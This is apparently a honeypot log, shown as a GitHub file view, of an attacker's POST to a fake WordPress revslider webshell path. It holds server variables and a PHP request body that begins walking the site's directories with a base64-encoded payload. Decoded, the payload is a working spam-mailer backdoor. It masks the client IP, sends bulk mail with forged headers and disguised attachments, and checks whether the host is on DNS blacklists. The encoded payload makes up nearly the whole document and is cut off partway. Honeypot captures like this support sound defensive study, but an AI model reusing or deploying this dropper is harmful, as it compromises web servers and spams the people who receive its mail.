-
Notifications
You must be signed in to change notification settings - Fork 41
/
188.40.81.84WiqM2DM84DBGMCs7q5JorQAAAAU.wso.scans
339 lines (294 loc) · 43.7 KB
/
188.40.81.84WiqM2DM84DBGMCs7q5JorQAAAAU.wso.scans
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
_SERVER
Array
(
[UNIQUE_ID] => WiqM2DM84DBGMCs7q5JorQAAAAU
[SCRIPT_URL] => /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
[SCRIPT_URI] => http://www.stratigery.com/wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
[HTTP_HOST] => www.stratigery.com
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
[HTTP_ACCEPT_ENCODING] => gzip, deflate
[HTTP_ACCEPT] => */*
[HTTP_CONNECTION] => keep-alive
[CONTENT_TYPE] => application/x-www-form-urlencoded
[CONTENT_LENGTH] => 23061
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
[SERVER_SIGNATURE] =>
[SERVER_SOFTWARE] => Apache/2.4.29 (Unix) PHP/7.2.0
[SERVER_NAME] => www.stratigery.com
[SERVER_ADDR] => 162.246.45.144
[SERVER_PORT] => 80
[REMOTE_ADDR] => 188.40.81.84
[DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
[REQUEST_SCHEME] => http
[CONTEXT_PREFIX] =>
[CONTEXT_DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
[SERVER_ADMIN] => [email protected]
[SCRIPT_FILENAME] => /srv/http/stratigery/htdocs/fake_wp/wso.php
[REMOTE_PORT] => 62158
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => POST
[QUERY_STRING] =>
[REQUEST_URI] => /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
[SCRIPT_NAME] => /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
[PHP_SELF] => /wordpress/wp-content/plugins/revslider/temp/update_extract/revslider/db.php
[REQUEST_TIME_FLOAT] => 1512738008.161
[REQUEST_TIME] => 1512738008
)
_REQUEST
Array
(
[a] => Php
[c] =>
[p1] =>
error_reporting(E_ALL);
set_time_limit(0);
$startDirectory = $_SERVER['DOCUMENT_ROOT'];
$domain = $_SERVER['HTTP_HOST'];
$depth = 4;
$fileData = "PD9waHAKCkBlcnJvcl9yZXBvcnRpbmcoMCk7CkBzZXRfdGltZV9saW1pdCgxNTApOwpAaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDE1MCk7CgppZigkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXT09J0dFVCcpewoJZXhpdCgnT0snKTsKfQoKJHJhbmRTdHJpbmc9cmFuZCgxLDI1NSkuJy4nLnJhbmQoMCwyNTUpLicuJy5yYW5kKDAsMjU1KS4nLicucmFuZCgwLDI1NSk7CgokY29tcGFyZT0kX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKCndoaWxlKCRrZXk9a2V5KCRfU0VSVkVSKSl7CglpZigkX1NFUlZFUlska2V5XT09JGNvbXBhcmUpewoJCUAkX1NFUlZFUlska2V5XT0kcmFuZFN0cmluZzsKCX0KCW5leHQoJF9TRVJWRVIpOwp9CgppZihpc3NldCgkX1BPU1RbJ2NoJ10pPT09dHJ1ZSl7CglDaGVjaygpOyBleGl0Owp9aWYoaXNzZXQoJF9QT1NUWydzbiddKT09PXRydWUpewoJU2VuZCgpOyBleGl0Owp9CgpmdW5jdGlvbiBTZW5kKCl7CgkkcmVwbHl0bz11cmxkZWNvZGUoJF9QT1NUWydycHQnXSk7CglpZihzdHJzdHIoJHJlcGx5dG8sJ3wnKSl7CgkJJHJhbmQ9ZXhwbG9kZSgnfCcsJHJlcGx5dG8pOwoJCSRyZXBseXRvPSRyYW5kW2FycmF5X3JhbmQoJHJhbmQpXTsKCX0KCgkkcmVwbHl0bz1jaGVja19nbWFpbCgkcmVwbHl0byk7CgoJJGVtYWlscz11cmxkZWNvZGUoJF9QT1NUWydlbSddKTsKCgkkZXg9ZXhwbG9kZSgiXG4iLCRlbWFpbHMpOwoKCWlmKCFpc19maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpewoJCWZvcigkYz0wLCRtYXg9c2l6ZW9mKCRleCk7JGM8JG1heDskYysrKXsKCQkJJGRhdGE9ZXhwbG9kZSgnfCcsdHJpbSgkZXhbJGNdKSk7CgkJCSRyX2Zyb209UmFuZG9tKGRhdGFIYW5kbGVyKCRfUE9TVFsnZiddKSwkZGF0YSk7CgkJCSRyX3N1YmplY3Q9ZGF0YUhhbmRsZXIoJF9QT1NUWydzJ10pOyAkcl9tZXNzYWdlPSRfUE9TVFsnbSddOwoJCQkkcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2Zyb206XScsJHJfZnJvbSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1zdHJfaXJlcGxhY2UoJ1tlbWFpbDpdJywkZGF0YVswXSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1SYW5kb20oJHJfc3ViamVjdCwkZGF0YSk7CgkJCSRyX21lc3NhZ2U9c3RyX2lyZXBsYWNlKCdbZnJvbTpdJywkcl9mcm9tLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPVJhbmRvbSgkcl9tZXNzYWdlLCRkYXRhKTsKCQkJJGZyb21fbmFtZT1yYW5kVGV4dCgpOwoKCQkJaWYoJHJlcGx5dG89PScnKXsKCQkJCSRyZXBseT0kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJCX1lbHNlewoJCQkJJHJlcGx5PSRyZXBseXRvOwoJCQl9CgoJCQlpZighU01haWwoJGRhdGFbMF0sJHJfZnJvbSwkcl9tZXNzYWdlLCRyX3N1YmplY3QsJHJlcGx5LCRmcm9tX25hbWUpKXsKCQkJCXByaW50ICcqc2VuZDpiYWQqJzsgZXhpdDsKCQkJfQoJCX0KCX1lbHNlewoJCWZvcigkYz0wLCRtYXg9c2l6ZW9mKCRleCk7JGM8JG1heDskYysrKXsKCQkJJGRhdGE9ZXhwbG9kZSgnfCcsdHJpbSgkZXhbJGNdKSk7CgkJCSRyX2Zyb209UmFuZG9tKGRhdGFIYW5kbGVyKHVybGRlY29kZSgkX1BPU1RbJ2YnXSkpLCRkYXRhKTsKCQkJJHJfc3ViamVjdD1kYXRhSGFuZGxlcih1cmxkZWNvZGUoJF9QT1NUWydzJ10pKTsKCQkJJHJfbWVzc2FnZT11cmxkZWNvZGUoJF9QT1NUWydtJ10pOwoJCQkkcl9zdWJqZWN0PXN0cl9pcmVwbGFjZSgnW2Zyb206XScsJHJfZnJvbSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1zdHJfaXJlcGxhY2UoJ1tlbWFpbDpdJywkZGF0YVswXSwkcl9zdWJqZWN0KTsKCQkJJHJfc3ViamVjdD1SYW5kb20oJHJfc3ViamVjdCwkZGF0YSk7CgkJCSRyX21lc3NhZ2U9c3RyX2lyZXBsYWNlKCdbZnJvbTpdJywkcl9mcm9tLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPXN0cl9pcmVwbGFjZSgnW2VtYWlsOl0nLCRkYXRhWzBdLCRyX21lc3NhZ2UpOwoJCQkkcl9tZXNzYWdlPVJhbmRvbSgkcl9tZXNzYWdlLCRkYXRhKTsKCQkJJGZyb21fbmFtZT1yYW5kVGV4dCgpOwoKCQkJaWYoJHJlcGx5dG89PScnKXsKCQkJCSRyZXBseT0kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ107CgkJCX1lbHNlewoJCQkJJHJlcGx5PSRyZXBseXRvOwoJCQl9CgoJCQlpZighU2VuZEF0dGFjaCgkZGF0YVswXSwkcl9mcm9tLCRyX21lc3NhZ2UsJHJfc3ViamVjdCwkcmVwbHksJGZyb21fbmFtZSkpewoJCQkJcHJpbnQgJypzZW5kOmJhZConOyBleGl0OwoJCQl9CgkJfQoJfQoJcHJpbnQgJypzZW5kOm9rKic7IGV4aXQ7Cn0KCmZ1bmN0aW9uIFNNYWlsKCR0bywkZnJvbSwkbWVzc2FnZSwkc3ViamVjdCwkcmVwbHl0bywkZnJvbV9uYW1lKXsKCWlmKCRfUE9TVFsndHAnXT09JzEnKXsgJHR5cGU9J3RleHQvaHRtbCc7IH0KCWVsc2V7ICR0eXBlPSd0ZXh0L3BsYWluJzsgfQoJJGhlYWRlcj0nRnJvbTogPT91dGYtOD9CPycuYmFzZTY0X2VuY29kZSgkZnJvbSkuJz89IDwnLiRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPlxyXG4iOwoJJGhlYWRlci49J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7CgkkaGVhZGVyLj0nQ29udGVudC1UeXBlOiAnLiR0eXBlLic7IGNoYXJzZXQ9InV0Zi04IicuIlxyXG4iOwoJJGhlYWRlci49J1JlcGx5LVRvOiAnLiRyZXBseXRvLiJcclxuIjsKCSRoZWFkZXIuPSdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpOwoKCWlmKG1haWwoJHRvLCRzdWJqZWN0LCRtZXNzYWdlLCRoZWFkZXIpKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gU2VuZEF0dGFjaCgkdG8sJGZyb20sJG1lc3NhZ2UsJHN1YmplY3QsJHJlcGx5dG8sJGZyb21fbmFtZSl7CgkkYm91bmRhcnk9bWQ1KHVuaXFpZCgpKTsgJGZpbGVTdHJpbmc9ZmlsZVN0cmluZygkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7CglpZigkX1BPU1RbJ3RwJ109PScxJyl7ICR0eXBlPSd0ZXh0L2h0bWwnOyB9CgllbHNleyAkdHlwZT0ndGV4dC9wbGFpbic7IH0KCSRmaWxlbmFtZT1maWxlbmFtZSgkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSk7CgoJJGhlYWRlcnM9J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7CgkkaGVhZGVycy49J0Zyb206ID0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUoJGZyb20pLic/PSA8Jy4kZnJvbV9uYW1lLidAJy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJz4nLiJcclxuIjsKCSRoZWFkZXJzLj0nUmVwbHktVG86ICcuJHJlcGx5dG8uIlxyXG4iOwoJJGhlYWRlcnMuPSdYLU1haWxlcjogUEhQLycucGhwdmVyc2lvbigpLiJcclxuIjsKCSRoZWFkZXJzLj0nQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PSInLiRib3VuZGFyeS4iXCJcclxuXHJcbiI7CgoJJGJvZHk9Jy0tJy4kYm91bmRhcnkuIlxyXG4iOwoJJGJvZHkuPSdDb250ZW50LVR5cGU6ICcuJHR5cGUuJzsgY2hhcnNldD0idXRmLTgiJy4iXHJcbiI7CgkkYm9keS49J0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NCcuIlxyXG5cclxuIjsKCSRib2R5Lj1jaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRtZXNzYWdlKSk7CgoJJGJvZHkuPSAnLS0nLiRib3VuZGFyeS4iXHJcbiI7CgkkYm9keS49J0NvbnRlbnQtVHlwZTogJy4kX0ZJTEVTWydmaWxlJ11bJ3R5cGUnXS4nOyBuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOwoJJGJvZHkuPSdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcbiI7CgkkYm9keS49J1gtQXR0YWNobWVudC1JZDogJy5yYW5kKDEwMDAsOTk5OTkpLiJcclxuXHJcbiI7CgkkYm9keS49Y2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkZmlsZVN0cmluZykpOwoKCWlmKG1haWwoJHRvLCRzdWJqZWN0LCRib2R5LCRoZWFkZXJzKSl7CgkJcmV0dXJuIHRydWU7Cgl9CglyZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGRhdGFIYW5kbGVyKCRkYXRhKXsKCSRleD1leHBsb2RlKCJcbiIsJGRhdGEpOwoKCWlmKHNpemVvZigkZXgpPjEpewoJCXJldHVybiB0cmltKCRleFtyYW5kKDAsc2l6ZW9mKCRleCktMSldKTsKCX0KCXJldHVybiB0cmltKCRkYXRhKTsKfQoKZnVuY3Rpb24gUmFuZG9tKCR0ZXh0LCRkYXRhKXsKCXByZWdfbWF0Y2hfYWxsKCcjXFtudW06KC4rPylcXSNpcycsJHRleHQsJHJlc3VsdDIpOyAkaT0wOwoJcHJlZ19tYXRjaF9hbGwoJyNcW3JhbmRNOiguKz8pXF0jaXMnLCR0ZXh0LCRyZXN1bHQzKTsgJHE9MDsKCXByZWdfbWF0Y2hfYWxsKCcjXFtyYW5kc3RyOiguKz8pXF0jaXMnLCR0ZXh0LCRyZXN1bHQ0KTsgJHc9MDsKCXByZWdfbWF0Y2hfYWxsKCcjXFt2YXI6KC4rPylcXSNpcycsJHRleHQsJHJlc3VsdDUpOyAkZT0wOwoKCXdoaWxlKCRpPHNpemVvZigkcmVzdWx0MlsxXSkpewoJCSRyYW5kPWV4cGxvZGUoJ3wnLCRyZXN1bHQyWzFdWyRpXSk7CgkJaWYoIWlzX251bWVyaWMoJHJhbmRbMF0pIG9yICFpc19udW1lcmljKCRyYW5kWzFdKSl7IGNvbnRpbnVlOyB9CgkJJHJhbmQ9cmFuZCgkcmFuZFswXSwkcmFuZFsxXSk7CgoJCSR0ZXh0PXN0cl9yZXBsYWNlX29uY2UoJHJlc3VsdDJbMF1bJGldLCRyYW5kLCR0ZXh0KTsgJGkrKzsKCX0KCgl3aGlsZSgkcTxzaXplb2YoJHJlc3VsdDNbMV0pKXsKCQkkcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0M1sxXVskcV0pOwoJCSRyYW5kPSRyYW5kW2FycmF5X3JhbmQoJHJhbmQpXTsKCgkJJHRleHQ9c3RyX3JlcGxhY2UoJHJlc3VsdDNbMF1bJHFdLCRyYW5kLCR0ZXh0KTsgJHErKzsKCX0KCgl3aGlsZSgkdzxzaXplb2YoJHJlc3VsdDRbMV0pKXsKCQkkcmFuZD1leHBsb2RlKCd8JywkcmVzdWx0NFsxXVskd10pOwoJCWlmKCFpc19udW1lcmljKCRyYW5kWzBdKSBvciAhaXNfbnVtZXJpYygkcmFuZFsxXSkpeyBjb250aW51ZTsgfQoJCSRyYW5kPXJhbmRTdHJpbmcoJHJhbmRbMF0sJHJhbmRbMV0pOwoKCQkkdGV4dD1zdHJfcmVwbGFjZV9vbmNlKCRyZXN1bHQ0WzBdWyR3XSwkcmFuZCwkdGV4dCk7ICR3Kys7Cgl9CgoJd2hpbGUoJGU8c2l6ZW9mKCRyZXN1bHQ1WzFdKSl7CgkJaWYoIWlzX251bWVyaWMoJHJlc3VsdDVbMV1bJGVdKSl7IGNvbnRpbnVlOyB9CgoJCSR0ZXh0PXN0cl9yZXBsYWNlKCRyZXN1bHQ1WzBdWyRlXSwkZGF0YVskcmVzdWx0NVsxXVskZV1dLCR0ZXh0KTsgJGUrKzsKCX0KCglwcmVnX21hdGNoX2FsbCgnI1xbcmFuZDooLis/KVxdI2lzJywkdGV4dCwkcmVzdWx0KTsgJGM9MDsKCgl3aGlsZSgkYzxzaXplb2YoJHJlc3VsdFsxXSkpewoJCSRyYW5kPWV4cGxvZGUoJ3wnLCRyZXN1bHRbMV1bJGNdKTsKCQkkcmFuZD0kcmFuZFthcnJheV9yYW5kKCRyYW5kKV07CgoJCSR0ZXh0PXN0cl9yZXBsYWNlX29uY2UoJHJlc3VsdFswXVskY10sJHJhbmQsJHRleHQpOyAkYysrOwoJfQoKCXJldHVybiAkdGV4dDsKfQoKZnVuY3Rpb24gQ2hlY2soKXsKCSRjcmxmPSJcclxuIjsKCglpZihpc3NldCgkX1BPU1RbJ3N0J10pPT09dHJ1ZSl7CgkJcHJpbnQgJyp2YWxpZDpvayonLiRjcmxmOwoJfWlmKGlzc2V0KCRfUE9TVFsnbSddKT09PXRydWUpewoJCWlmKGZ1bmN0aW9uX2V4aXN0cygnbWFpbCcpKXsKCQkJJGV4PWV4cGxvZGUoJzonLCRfUE9TVFsnbSddKTsKCQkJJGVtYWlsPSRleFswXTsgJGF0dGFjaD0kZXhbMV07ICRyZXBseT0kZXhbMl07CgkJCSRmcm9tX25hbWU9cmFuZFRleHQoKTsKCQkJJHJlcGx5dG89JGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoJCQlpZigkcmVwbHk9PScxJyl7ICRyZXBseXRvPSRlbWFpbDsgfQoJCQlpZigkYXR0YWNoPT0nMScpewoJCQkJaWYoQ2hlY2tBdHRhY2goJGVtYWlsLCRyZXBseXRvLCRmcm9tX25hbWUpKXsKCQkJCQlwcmludCAnKm1haWw6b2sqJy4kY3JsZjsKCQkJCX1lbHNlewoJCQkJCXByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjsKCQkJCX0KCQkJfWVsc2V7CgkJCQlpZihDaGVja01haWwoJGVtYWlsLCRyZXBseXRvLCRmcm9tX25hbWUpKXsKCQkJCQlwcmludCAnKm1haWw6b2sqJy4kY3JsZjsKCQkJCX1lbHNlewoJCQkJCXByaW50ICcqbWFpbDpiYWQqJy4kY3JsZjsKCQkJCX0KCQkJfQoJCX1lbHNlewoJCQlwcmludCAnKm1haWw6YmFkKicuJGNybGY7CgkJfQoJfWlmKGlzc2V0KCRfUE9TVFsncmInXSk9PT10cnVlKXsKCQkkcmJsPXJibCgpOwoJCWlmKCRyYmw9PScnKXsKCQkJcHJpbnQgJypyYmw6b2sqJzsKCQl9ZWxzZXsKCQkJcHJpbnQgJypyYmw6Jy4kcmJsLicqJzsKCQl9Cgl9Cn0KCmZ1bmN0aW9uIHJhbmRTdHJpbmcoJG1pbiwkbWF4KXsKCSRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKCSRzaXplPXJhbmQoJG1pbiwkbWF4KTsgJHJlc3VsdD0nJzsKCglmb3IoJGM9MDskYzwkc2l6ZTskYysrKXsKCQkkcmVzdWx0Lj0kc3Rye3JhbmQoMCxzdHJsZW4oJHN0ciktMSl9OwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCmZ1bmN0aW9uIHJibCgpewogICAgJGRuc2JsX2NoZWNrPWFycmF5KCdiLmJhcnJhY3VkYWNlbnRyYWwub3JnJywneGJsLnNwYW1oYXVzLm9yZycsJ3NibC5zcGFtaGF1cy5vcmcnLCd6ZW4uc3BhbWhhdXMub3JnJywnYmwuc3BhbWNvcC5uZXQnKTsKCSRpcD1nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICRyZXN1bHQ9Jyc7CgogICAgaWYoJGlwKXsKICAgICAgICAkcmlwPWltcGxvZGUoJy4nLGFycmF5X3JldmVyc2UoZXhwbG9kZSgnLicsJGlwKSkpOwogICAgICAgIGZvcmVhY2goJGRuc2JsX2NoZWNrIGFzICR2YWwpewogICAgICAgICAgICBpZihjaGVja2Ruc3JyKCRyaXAuJy4nLiR2YWwuJy4nLCdBJykpCiAgICAgICAgICAgICAgICAkcmVzdWx0Lj0kdmFsLicsICc7CiAgICAgICAgfQogICAgICAgIGlmKHN0cmxlbigkcmVzdWx0KT4yKXsgcmV0dXJuIHN1YnN0cigkcmVzdWx0LDAsLTIpOyB9CiAgICAgICAgZWxzZXsgcmV0dXJuICcnOyB9CiAgICB9ZWxzZXsKICAgIAlyZXR1cm4gJypyYmw6dW5rbm93bionOwogICAgfQogICAgcmV0dXJuICcnOwp9CgpmdW5jdGlvbiBDaGVja01haWwoJHRvLCRyZXBseSwkZnJvbV9uYW1lKXsKCSRoZWFkZXI9J0Zyb206ICcuJz0/dXRmLTg/Qj8nLmJhc2U2NF9lbmNvZGUocmFuZFRleHQoKSkuJz89Jy4nIDwnLiRmcm9tX25hbWUuJ0AnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPlxyXG4iOwoJJGhlYWRlci49J01JTUUtVmVyc2lvbjogMS4wJy4iXHJcbiI7CgkkaGVhZGVyLj0nQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9InV0Zi04IicuIlxyXG4iOwoJJGhlYWRlci49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7CgkkaGVhZGVyLj0nWC1NYWlsZXI6IFBIUC8nLnBocHZlcnNpb24oKTsKCgkkbWVzc2FnZT10ZXh0KCk7Cgkkc3ViamVjdD0kX1NFUlZFUlsnSFRUUF9IT1NUJ107CgoJaWYobWFpbCgkdG8sJHN1YmplY3QsJG1lc3NhZ2UsJGhlYWRlcikpewoJCXJldHVybiB0cnVlOwoJfQoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBDaGVja0F0dGFjaCgkdG8sJHJlcGx5LCRmcm9tX25hbWUpewoJJG1lc3NhZ2U9dGV4dCgpOwoJJHN1YmplY3Q9JF9TRVJWRVJbJ0hUVFBfSE9TVCddOwoJJGZpbGVuYW1lPWZpbGVuYW1lKCcxLnR4dCcpOyAkYm91bmRhcnk9bWQ1KHVuaXFpZCgpKTsKCgkkaGVhZGVycz0nTUlNRS1WZXJzaW9uOiAxLjAnLiJcclxuIjsKCSRoZWFkZXJzLj0nRnJvbTogJy4nPT91dGYtOD9CPycuYmFzZTY0X2VuY29kZShyYW5kVGV4dCgpKS4nPz0nLicgPCcuJGZyb21fbmFtZS4nQCcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLic+Jy4iXHJcbiI7CgkkaGVhZGVycy49J1JlcGx5LVRvOiAnLiRyZXBseS4iXHJcbiI7CgkkaGVhZGVycy49J1gtTWFpbGVyOiBQSFAvJy5waHB2ZXJzaW9uKCkuIlxyXG4iOwoJJGhlYWRlcnMuPSdDb250ZW50LVR5cGU6IG11bHRpcGFydC9taXhlZDsgYm91bmRhcnk9IicuJGJvdW5kYXJ5LiJcIlxyXG5cclxuIjsKCgkkYm9keT0nLS0nLiRib3VuZGFyeS4iXHJcbiI7CgkkYm9keS49J0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PSJ1dGYtOCInLiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcblxyXG4iOwoJJGJvZHkuPWNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoJG1lc3NhZ2UpKTsKCgkkYm9keS49ICctLScuJGJvdW5kYXJ5LiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBuYW1lPSInLiRmaWxlbmFtZS4nIicuIlxyXG4iOwoJJGJvZHkuPSdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy4kZmlsZW5hbWUuJyInLiJcclxuIjsKCSRib2R5Lj0nQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0Jy4iXHJcbiI7CgkkYm9keS49J1gtQXR0YWNobWVudC1JZDogJy5yYW5kKDEwMDAsOTk5OTkpLiJcclxuXHJcbiI7CgkkYm9keS49IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUodGV4dCgpKSk7CgoJaWYobWFpbCgkdG8sJHN1YmplY3QsJGJvZHksJGhlYWRlcnMpKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gc3RyX3JlcGxhY2Vfb25jZSgkc2VhcmNoLCRyZXBsYWNlLCR0ZXh0KXsgCiAgICRwb3M9c3RycG9zKCR0ZXh0LCAkc2VhcmNoKTsKICAgcmV0dXJuICRwb3MhPT1mYWxzZSA/IHN1YnN0cl9yZXBsYWNlKCR0ZXh0LCRyZXBsYWNlLCRwb3Msc3RybGVuKCRzZWFyY2gpKSA6ICR0ZXh0Owp9CgpmdW5jdGlvbiBmaWxlbmFtZSgkbmFtZSl7CgkkZm9ybWF0PWVuZChleHBsb2RlKCcuJywkbmFtZSkpOwoJJGFycmF5W109J1NEQyc7ICRhcnJheVtdPSdQJzsgJGFycmF5W109J0RDJzsgJGFycmF5W109J0NBTSc7ICRhcnJheVtdPSdJTUctJzsKCSRpbWc9YXJyYXkoJ3BuZycsJ2pwZycsJ2dpZicsJ2pwZWcnLCdibXAnKTsKCglmb3IoJGM9MCwkbWF4PXNpemVvZigkaW1nKTskYzwkbWF4OyRjKyspewoJCWlmKHN0cnRvbG93ZXIoJGZvcm1hdCk9PSRpbWdbJGNdKXsKCQkJJHJhbmQ9cmFuZCgxMCw5OTk5OTkpOwoJCQlyZXR1cm4gJGFycmF5W3JhbmQoMCw0KV0uJHJhbmQuJy4nLiRmb3JtYXQ7CgkJfQoJfQoJcmV0dXJuIHJhbmRUZXh0KCkuJy4nLiRmb3JtYXQ7Cn0KCmZ1bmN0aW9uIGZpbGVTdHJpbmcoJG5hbWUpewoJJGZvcm1hdD1lbmQoZXhwbG9kZSgnLicsJG5hbWUpKTsKCglpZihzdHJ0b2xvd2VyKCRmb3JtYXQpPT0nanBlZycgb3Igc3RydG9sb3dlcigkZm9ybWF0KT09J2pwZycpewoJCWlmKENoZWNrUmFuZElNRygpKXsKCQkJcmV0dXJuIFJhbmRJTUcoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsKCQl9Cgl9CglyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsKfQoKZnVuY3Rpb24gcmFuZFRleHQoKXsKCSRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKCSRzaXplPXJhbmQoMyw4KTsgJHJlc3VsdD0nJzsKCglmb3IoJGM9MDskYzwkc2l6ZTskYysrKXsKCQkkcmVzdWx0Lj0kc3Rye3JhbmQoMCxzdHJsZW4oJHN0ciktMSl9OwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KCmZ1bmN0aW9uIHRleHQoKXsKCSRzdHI9J3F3ZXJ0eXVpb3Bhc2RmZ2hqa2x6eGN2Ym5tJzsKCSRzaXplPXJhbmQoOSwyMCk7ICRyZXN1bHQ9Jyc7CgoJZm9yKCRjPTA7JGM8JHNpemU7JGMrKyl7CgkJJHJhbmQ9cmFuZCg2LDEwKTsKCQkKCQlmb3IoJGk9MDskaTwkcmFuZDskaSsrKXsKCQkJJHJlc3VsdC49JHN0cntyYW5kKDAsc3RybGVuKCRzdHIpLTEpfTsKCQl9CgkJJHNpZ249YXJyYXkoJyAnLCcgJywnICcsJyAnLCcsICcsJz8gJywnLiAnLCcuICcpOwoJCSRyZXN1bHQuPSRzaWduW3JhbmQoMCw3KV07Cgl9CglyZXR1cm4gdHJpbSgkcmVzdWx0KTsKfQoKZnVuY3Rpb24gQ2hlY2tSYW5kSU1HKCl7CgkkYXJyYXk9YXJyYXkoCgkJJ2dldGltYWdlc2l6ZScsCgkJJ2ltYWdlY3JlYXRldHJ1ZWNvbG9yJywKCQknaW1hZ2VjcmVhdGVmcm9tanBlZycsCgkJJ2ltYWdlY29weXJlc2FtcGxlZCcsCgkJJ2ltYWdlZmlsdGVyJywKCQknb2Jfc3RhcnQnLAoJCSdpbWFnZWpwZWcnLAoJCSdvYl9nZXRfY2xlYW4nCgkpOwoKCWZvcigkYz0wLCRtYXg9c2l6ZW9mKCRhcnJheSk7JGM8JG1heDskYysrKXsKCQlpZighZ